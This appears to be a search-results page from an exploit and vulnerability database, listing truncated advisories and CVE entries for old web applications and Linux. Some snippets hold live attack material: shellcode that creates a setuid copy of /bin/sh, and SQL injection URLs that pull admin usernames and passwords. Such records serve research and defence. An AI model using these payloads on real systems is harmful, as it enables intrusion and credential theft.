1769 matches found
Linux/x86 - /bin/cp /bin/sh /tmp/katy & chmod 4555
No description provided by source. / Linux/x86 /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork / include "stdio.h" char shellcode = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f" "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"...
Path traversal
Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...
CVE-2008-6002
Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...
CVE-2008-6002
Affected product: web-cp 0.5.7. The issue is an absolute path traversal in sendfile.php, exploitable when register_globals is enabled, allowing remote attackers to read arbitrary files via a full pathname in the filelocation parameter. Root cause: lack of input validation for the filelocation par...
CVE-2008-6002
Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...
CVE-2008-6002: Improper Limitation of a Pathname to a Restricted Directory
Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...
SHOP-INET 4 - grid SQL Injection
SHOP-INET 4 - grid SQL Injection SHOP-INET V.4 Exploit Author: FeDeReR Home : Hacking.ge & darkc0de.com Email : [email protected] Exploit : target.com/showcat2.php?grid=-1+union+select+concatwschar58,username,password+from+admin Example...
SHOP-INET 4 - 'grid' SQL Injection
SHOP-INET V.4 Exploit Author: FeDeReR Home : Hacking.ge & darkc0de.com Email : [email protected] Exploit : target.com/showcat2.php?grid=-1+union+select+concatwschar58,username,password+from+admin Example...
webcp 0.5.7 - 'filelocation' Remote File Disclosure
webcp 0.5.7 sendfile.php filelocation Remote File Disclosure Vulnerability Script : http://www.web-cp.net/releases/webcp-0.5.7.tar.gz Demo : http://gyrbo.madoka.be/web-cp/ Vuln : if $tf = fopen$filelocation, "r" // Date in the past POC :...
webcp 0.5.7 - filelocation Remote File Disclosure
webcp 0.5.7 - filelocation Remote File Disclosure webcp 0.5.7 sendfile.php filelocation Remote File Disclosure Vulnerability Script : http://www.web-cp.net/releases/webcp-0.5.7.tar.gz Demo : http://gyrbo.madoka.be/web-cp/ Vuln : if $tf = fopen$filelocation, "r" // Date in the past POC :...
netbutikker-sql.txt
Viva Islam rEm0te SQL Injection Vulnerability netbutik V1 index.php id Script Name : Netbutik Download : www.simpelside.dk Version : version 1 , 2 , 3 ,4 AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] Note This script have 4 version on demo and users table have diffrents names y...
Netbutikker 4 - SQL Injection
Netbutikker 4 - SQL Injection Viva Islam rEm0te SQL Injection Vulnerability netbutik V1 index.php id Script Name : Netbutik Download : www.simpelside.dk Version : version 1 , 2 , 3 ,4 AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] Note This script have 4 version on demo and user...
Netbutikker <= v4 Remote SQL Injection Vulnerabilities
Exploit for unknown platform in category web applications ====================================================== Netbutikker http://www.target.dk/netbutik1/netbutik.php?cat=-1+union+select+concatws0x3a3a,brugernavn,adgangskode+from+netbutik1brugere/ 2 =====...
Netbutikker <= v4 Remote SQL Injection Vulnerabilities
No description provided by source. Viva Islam rEm0te SQL Injection Vulnerability netbutik V1 index.php id Script Name : Netbutik Download : www.simpelside.dk Version : version 1 , 2 , 3 ,4 AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] Note This script have 4 version on demo and...
SonicStage CP buffer overflow vulnerability
Overview SonicStage CP is vulnerable to buffer overflow. Sony SonicStage CP is software for music management. SonicStage CP contains a vulnerability that can be exploited to cause a buffer overflow when importing a specially crafted playlist file with the .m3u extension. Impact Importing a...
My Gaming Ladder 7.5 - ladderid SQL Injection
My Gaming Ladder 7.5 - ladderid SQL Injection --==+================================================================================+==-- --==+ My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-...
CVE-2008-0736
CVE-2008-0736 affects CandyPress (CP) 4.1.1.26 and possibly other 4.x and 3.x versions. The vulnerability is in admin/SA_shipFedExMeter.asp, where a crafted FedExAccount parameter value enables a path traversal, allowing remote attackers to obtain the server path. Impact is partial confidentialit...
CVE-2008-0717: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in Caching Proxy CP 5.1 through 6.1 in IBM WebSphere Edge Server, when CGI mapping rules are enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors that trigger injection into an error response...
CVE-2007-4998
cp, when running with an option to preserve symlinks on multiple OSes, allows local, user-assisted attackers to overwrite arbitrary files via a symlink attack using crafted directories containing multiple source files that are copied to the same destination...
CVE-2007-4998
cp, when running with an option to preserve symlinks on multiple OSes, allows local, user-assisted attackers to overwrite arbitrary files via a symlink attack using crafted directories containing multiple source files that are copied to the same destination...